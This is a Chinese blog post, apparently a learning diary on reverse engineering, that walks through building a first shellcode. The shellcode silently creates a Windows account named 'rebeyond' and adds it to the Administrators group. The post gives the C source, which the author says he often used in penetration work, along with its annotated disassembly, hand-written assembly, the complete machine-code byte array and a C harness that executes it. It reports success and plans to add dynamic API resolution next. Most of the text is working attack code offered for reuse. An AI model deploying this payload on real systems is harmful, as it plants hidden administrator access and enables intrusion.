一个简单的c语言添加windows管理员账号的小程序,之前在渗透的时候经常用到,现在拿它来做自己的第一个shellcode。

C代码:

#pragma comment(lib, "netapi32.lib")

#include "windows.h"

#include <Lm.h>

int main(int argc, char* argv[])

{

NET_API_STATUS ret = 0;

DWORD dwErr = 0;

USER_INFO_1 oUserInfo;

ZeroMemory(&oUserInfo, sizeof(oUserInfo));

oUserInfo.usri1_name = L"rebeyond";

oUserInfo.usri1_priv = USER_PRIV_USER;

oUserInfo.usri1_flags = UF_NORMAL_ACCOUNT;

ret = NetUserAdd(NULL, 1, (LPBYTE)(&oUserInfo), &dwErr);

//Add that accout into the administrators group

_LOCALGROUP_MEMBERS_INFO_3 oUser;

oUser.lgrmi3_domainandname = oUserInfo.usri1_name;

ret = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)(&oUser), 1);

return 0;

}

OD反汇编代码:

00401000  /$  83EC 28       sub esp,0x28 //为main函数内的局部变量分配空间, dwErr ,oUserInfo和oUser,共40个字节。

00401003  |.  57            push edi  //备份调用前的edi内容。

00401004  |.  B9 08000000   mov ecx,0x8 //对oUserInfo结构体进行初始化,共32个字节,以DWORD为单位进行8次循环,此处设置循环次数。

00401009  |.  33C0          xor eax,eax  //设置填充内容,为0x00。

0040100B  |.  8D7C24 0C     lea edi,dword ptr ss:[esp+0xC]  //设置edi为oUserInfo的初始地址。

0040100F  |.  F3:AB         rep stos dword ptr es:[edi] //循环拷贝eax里的值到edi所指的地址 。

00401011  |.  8D4424 04     lea eax,dword ptr ss:[esp+0x4]  //设置eax为dwErr的地址。

00401015  |.  8D4C24 0C     lea ecx,dword ptr ss:[esp+0xC]  //设置ecx为oUserInfo的地址。

00401019  |.  50            push eax //准备入栈参数&dwErr。

0040101A  |.  51            push ecx  //准备入栈参数&oUserInfo。

0040101B  |.  6A 01         push 0x1  //准备入栈参数1。

0040101D  |.  6A 00         push 0x0  //准备入栈参数0。

0040101F  |.  C74424 14 000>mov dword ptr ss:[esp+0x14],0x0 //把dwErr赋值为0.

00401027  |.  C74424 1C 505>mov dword ptr ss:[esp+0x1C],addsc.004050>; //设置 oUserInfo 的第一个元素为字符串"rebeyond"的地址

0040102F  |.  C74424 28 010>mov dword ptr ss:[esp+0x28],0x1 //设置oUserInfo 的一些必要元素:usri1_priv;

00401037  |.  C74424 34 000>mov dword ptr ss:[esp+0x34],0x200  //设置oUserInfo 的一些必要元素:usri1_flags;

0040103F  |.  E8 32000000   call <jmp.&NETAPI32.NetUserAdd> //调用NetUserAdd

00401044  |.  8B5424 0C     mov edx,dword ptr ss:[esp+0xC]  //把oUserInfo首地址赋值给edx。

00401048  |.  8D4424 08     lea eax,dword ptr ss:[esp+0x8] //把oUser结构体地址赋给eax。

0040104C  |.  6A 01         push 0x1 //准备调用参数1。

0040104E  |.  50            push eax  //准备调用参数&oUser。

0040104F  |.  6A 03         push 0x3  //准备调用参数3。

00401051  |.  68 30504000   push addsc.00405030  //准备调用参数"Administrators"。

00401056  |.  6A 00         push 0x0 //准备调用参数NULL,即为0。

00401058  |.  895424 1C     mov dword ptr ss:[esp+0x1C],edx   //把oUserInfo结构体的第一个DWORD(为“rebeyond”字符串的地址)赋值给oUser结构体唯一的一个元素。

0040105C  |.  E8 0F000000   call <jmp.&NETAPI32.NetLocalGroupAddMemb>  //调用NetLocalGroupAddMembers。

00401061  |.  33C0          xor eax,eax  //把eax清零,准备返回值。

00401063  |.  5F            pop edi   //把之前备份的edi恢复。

00401064  |.  83C4 28       add esp,0x28  //恢复栈帧。

00401067  \.  C3            retn  //返回操作系统代码。

相关结构体:

typedef struct _USER_INFO_1 {

LPWSTR   usri1_name;

LPWSTR   usri1_password;

DWORD    usri1_password_age;

DWORD    usri1_priv;

LPWSTR   usri1_home_dir;

LPWSTR   usri1_comment;

DWORD    usri1_flags;

LPWSTR   usri1_script_path;

}USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;

USER_INFO_1结构体有八个DWORD元素,共32个字节。

typedef struct _LOCALGROUP_MEMBERS_INFO_3 {

LPWSTR       lgrmi3_domainandname;

} LOCALGROUP_MEMBERS_INFO_3, *PLOCALGROUP_MEMBERS_INFO_3,

*LPLOCALGROUP_MEMBERS_INFO_3;

LOCALGROUP_MEMBERS_INFO_3结构体只有一个元素,占4个字节。

这段代码具有添加管理员用户的功能,但是我想把它直接复制到漏洞程序作为shellcode是行不通的,因为程序是包括代码和数据的,我只是复制了代码,并没有复制存在于堆栈中的数据,比如shellcode中运行上图红色标记的代码,就会发生错误,因为字符串在漏洞程序中根本不存在。所以,如果想要作为shellcode来使用的话,所有用到的数据必须全部由代码来负载。下面开始打造可以独立运行的shellcode。

反观这段代码,其实就是2个API的调用,我们只要push参数来完成这两个函数调用就可以了。

C函数调用: ret = NetUserAdd(NULL, 1, (LPBYTE)(&oUserInfo), &dwErr);

      NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)(&oUser), 1);

Shellcode  asm代码:

push ebp   //备份ebp

mov ebp,esp  //设置新的ebp

sub esp,0x28  //抬高栈顶

mov ecx,0x10   //为栈初始化准备循环次数

xor eax,eax    //为栈初始化准备填充内容

lea edi,dword ptr ss:[esp-4]  //从栈顶开始初始化

rep stos dword ptr es:[edi]   //全部填充为00

mov [ebp-8],0  //设置局部变量,准备函数第四个参数dwErr。

push 0x00000000 //准备函数第三个参数,把用户名字符串入栈,为oUserInfo准备数据

push 0x0064006E //同上

push 0x006F0079  //同上

push 0x00650062  //同上

push 0x00650072  //同上,为字符串rebeyond的Unicode形式,必须Unicode。

lea edx,[esp]  //取得用户名字符串的地址,放入edi。

mov [esp+0x14],edx  //把oUserInfo结构的首个元素赋值为用户名首地址

mov [esp+0x20],1  //设置oUserInfo第四个必须元素usri1_priv为1.

mov [esp+0x2C], 0x0200  //设置oUserInfo第七个必须元素usri1_flags为0x200

lea eax,[ebp-0x8]  //取dwErr的地址。

push eax  //参数入栈,&dwErr

lea edi,[esp+0x18]  //取oUserInfo的地址,

push edi  //参数入栈,&oUserInfo

push 1  //参数入栈。

push 0  //参数入栈

mov eax,0x5fe0457c  //把NetUserAdd函数地址赋值给eax

call eax  //调用NetUserAdd

push 0x00000000  //把字符串Administrtors入栈。

push 0x00730072

push 0x006f0074

push 0x00610072

push 0x00740073

push 0x0069006e

push 0x0069006d

push 0x00640041

lea esi,[esp]  //取得administrators字符串地址。

push 1  //准备参数。

push edi

push 3

push esi

push 0

mov ebx,0x5fe04534  //把NetLocalGroupAddMembers函数地址赋值给eax

call ebx  //调用NetLocalGroupAddMembers

mov esp,ebp  //恢复现场

pop ebp  //恢复现场

ret  //返回

机器码:

0x55,0x8B,0xEC,0x83,0xEC,0x28,0xB9,0x10,0x00,0x00,0x00,0x33,0xC0,0x36,0x8D,0x7C,0x24,0xFC,0xF3,0xAB,0xC6,0x45,0xF8,0x00,0x6A,0x00,0x68,0x6E,0x00,0x64,0x00,0x68,0x79,0x00,0x6F,0x00,0x68,0x62,0x00,0x65,0x00,0x68,0x72,0x00,0x65,0x00,0x8D,0x14,0x24,0x89,0x54,0x24,0x14,0xC6,0x44,0x24,0x20,0x01,0xC6,0x44,0x24,0x2C,0x00,0x8D,0x45,0xF8,0x50,0x8D,0x7C,0x24,0x18,0x57,0x6A,0x01,0x6A,0x00,0xB8,0x7C,0x45,0xE0,0x5F,0xFF,0xD0,0x6A,0x00,0x68,0x72,0x00,0x73,0x00,0x68,0x74,0x00,0x6F,0x00,0x68,0x72,0x00,0x61,0x00,0x68,0x73,0x00,0x74,0x00,0x68,0x6E,0x00,0x69,0x00,0x68,0x6D,0x00,0x69,0x00,0x68,0x41,0x00,0x64,0x00,0x8D,0x34,0x24,0x6A,0x01,0x57,0x6A,0x03,0x56,0x6A,0x00,0xBB,0x34,0x45,0xE0,0x5F,0xFF,0xD3,0x8B,0xE5,0x5D,0xC3

Shellcode+C测试:

#pragma comment(lib, "netapi32.lib")

#include "stdio.h"

#include "windows.h"

#include <Lm.h>

int main()
{
         HINSTANCE hInstLibrary = LoadLibrary("netapi32.dll");
    if (hInstLibrary == NULL)
    {
         printf("Load Dll Error");
         ;
    }
         unsigned char shellcode[]={0x55,0x8B,0xEC,0x83,0xEC,0x28,0xB9,0x10,0x00,0x00,0x00,0x33,0xC0,0x36,0x8D,0x7C,0x24,0xFC,0xF3,0xAB,0xC6,0x45,0xF8,0x00,0x6A,0x00,0x68,0x6E,0x00,0x64,0x00,0x68,0x79,0x00,0x6F,0x00,0x68,0x62,0x00,0x65,0x00,0x68,0x72,0x00,0x65,0x00,0x8D,0x14,0x24,0x89,0x54,0x24,0x14,0xC6,0x44,0x24,0x20,0x01,0xC6,0x44,0x24,0x2C,0x00,0x8D,0x45,0xF8,0x50,0x8D,0x7C,0x24,0x18,0x57,0x6A,0x01,0x6A,0x00,0xB8,0x7C,0x45,0xE0,0x5F,0xFF,0xD0,0x6A,0x00,0x68,0x72,0x00,0x73,0x00,0x68,0x74,0x00,0x6F,0x00,0x68,0x72,0x00,0x61,0x00,0x68,0x73,0x00,0x74,0x00,0x68,0x6E,0x00,0x69,0x00,0x68,0x6D,0x00,0x69,0x00,0x68,0x41,0x00,0x64,0x00,0x8D,0x34,0x24,0x6A,0x01,0x57,0x6A,0x03,0x56,0x6A,0x00,0xBB,0x34,0x45,0xE0,0x5F,0xFF,0xD3,0x8B, 0xE5,0x5D,0xC3};
         __asm
   {
                   lea eax,shellcode
                   push eax
                   ret
   }
           ;

}

OH YEAH!成功添加管理员用户:

问题:

中间遇到一个问题,NetLocalGroupAddMembers的调用老是不成功,出现异常,原来以为是调用参数的堆栈没有组织好,耽误了一个多小时,后来发现是问题在这,就是这段代码(上文中标红的那两行):

mov ebx,0x5fe04534  //把NetLocalGroupAddMembers函数地址赋值给eax

call ebx  //调用NetLocalGroupAddMembers

就是把NetLocalGroupAddMembers函数的地址赋值给ebx,然后调用ebx。

但是我用eax就是不成功,代码明明是mov eax,0x5fe04534,但是赋值语句执行之后eax的值却偏偏是0x5fe0cc34,中间的45换成了cc,到底是何解呢?望高手赐教!!!

另外,这个shellcode下一步需要完善几个地方:

  1. 函数地址要动态获取。
  2. 字节实在是太多,需要大瘦身。

顺便发张NetLocalGroupAddMembers的堆栈截图,留个纪念,省的以后再回过头来看的时候费劲。

逆向工程学习第二天--动手开发自己的第一个shellcode的更多相关文章

  1. 【转】Esp8266学习之旅① 搭建开发环境,开始一个“hellow world”串口打印。

    @2019-02-28 [小记] Esp8266学习之旅① 搭建开发环境,开始一个“hellow world”串口打印.

  2. SpringBoot官方文档学习(一)开发你的第一个Spring Boot应用

    一些准备工作: 本节介绍如何开发一个简单的“ Hello World!” Web应用程序,该应用程序重点介绍Spring Boot的一些关键功能.我们使用Maven来构建该项目,因为大多数IDE都支持 ...

  3. 动手开发自己的第一个 composer 包

    原文:http://blog.jayxhj.com/2016/05/basic-composer-package-development/ composer 是 PHP 的依赖管理工具,本篇文章就来说 ...

  4. 第二篇 界面开发 (Android学习笔记)

    第二篇 界面开发 第5章 探索界面UI元素 ●The Android View Class     ●△Widget设计步骤 需要修改三个XML,以及一个class: 1)第一个xml是布局XML文件 ...

  5. atitit.自己动手开发编译器and解释器(2) ------语法分析,语义分析,代码生成--attilax总结

    atitit.自己动手开发编译器and解释器(2) ------语法分析,语义分析,代码生成--attilax总结 1. 建立AST 抽象语法树 Abstract Syntax Tree,AST) 1 ...

  6. 二、Android学习第二天——初识Activity(转)

    (转自:http://wenku.baidu.com/view/af39b3164431b90d6c85c72f.html) 一. Android学习第二天——初识Activity 昨天程序搭建成功以 ...

  7. Android(java)学习笔记219:开发一个多界面的应用程序之两种意图

    1.两种意图: (1)显式意图: 在代码里面用intent设置要开启Activity的字节码.class文件: (2)隐式意图: Android(java)学习笔记218:开发一个多界面的应用程序之人 ...

  8. python学习第二讲,pythonIDE介绍以及配置使用

    目录 python学习第二讲,pythonIDE介绍以及配置使用 一丶集成开发环境IDE简介,以及配置 1.简介 2.PyCharm 介绍 3.pycharm 的安装 二丶IDE 开发Python,以 ...

  9. Golang学习-第二篇 搭建一个简单的Go Web服务器

    序言 由于本人一直从事Web服务器端的程序开发,所以在学习Golang也想从Web这里开始学起,如果对Golang还不太清楚怎么搭建环境的朋友们可以参考我的上一篇文章 Golang的简单介绍及Wind ...

随机推荐

  1. 【转】你所不知道的HTML <head/> 头标签

    HTML的头部内容特别多,有针对SEO的头部信息,也有针对移动设备的头部信息.而且各个浏览器内核以及各个国内浏览器厂商都有些自己的标签元素,有很多差异性.移动端的工作已经越来越成为前端工作的重要内容, ...

  2. JavaScript错误/异常处理

    JavaScript Try...Catch 语句 介绍:JavaScript中的try...carch语句的作用和C#中的try...catch语句的作用一样, 都是捕获并处理异常. 语法: try ...

  3. vim 中替换

    将80替换为10.0.0.19:80 :g/80/s//10.0.0.19:80/g

  4. .htaccess添加Header set Cache-Control报错500

    在优化网站开启站点的图片缓存时,需要在.htaccess文件中加入: #文件缓存时间配置10分钟 <FilesMatch ".(flv|gif|jpg|jpeg|png|ico|swf ...

  5. ACM 中 矩阵数据的预处理 && 求子矩阵元素和问题

            我们考虑一个$N\times M$的矩阵数据,若要对矩阵中的部分数据进行读取,比如求某个$a\times b$的子矩阵的元素和,通常我们可以想到$O(ab)$的遍历那个子矩阵,对它的各 ...

  6. [No0000A6]Visual Studio 2015 中的常用命令的默认键盘快捷键-VS2015 Shortcut

    注意:你也可以通过打开"选项"对话框,展开"环境"节点,然后选择"键盘",查找任何命令的快捷键. Build(生成) 命令 键盘快捷键 [上 ...

  7. noip2016十连测题解

    以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...

  8. 详解用CSS3制作圆形滚动进度条动画效果

    主  题 今天手把手教大家用CSS3制作圆形滚动进度条动画,想不会都难!那么,到底是什么东东呢?先不急,之前我分享了一个css实现进度条效果的博客<CSS实现进度条和订单进度条>,但是呢, ...

  9. 解读ASP.NET 5 & MVC6系列(15):MvcOptions配置

    程序模型处理 IApplicationModelConvention 在MvcOptions的实例对象上,有一个ApplicationModelConventions属性(类型是:List<IA ...

  10. C#进阶系列——WebApi 接口测试工具:WebApiTestClient

    前言:这两天在整WebApi的服务,由于调用方是Android客户端,Android开发人员也不懂C#语法,API里面的接口也不能直接给他们看,没办法,只有整个详细一点的文档呗.由于接口个数有点多,每 ...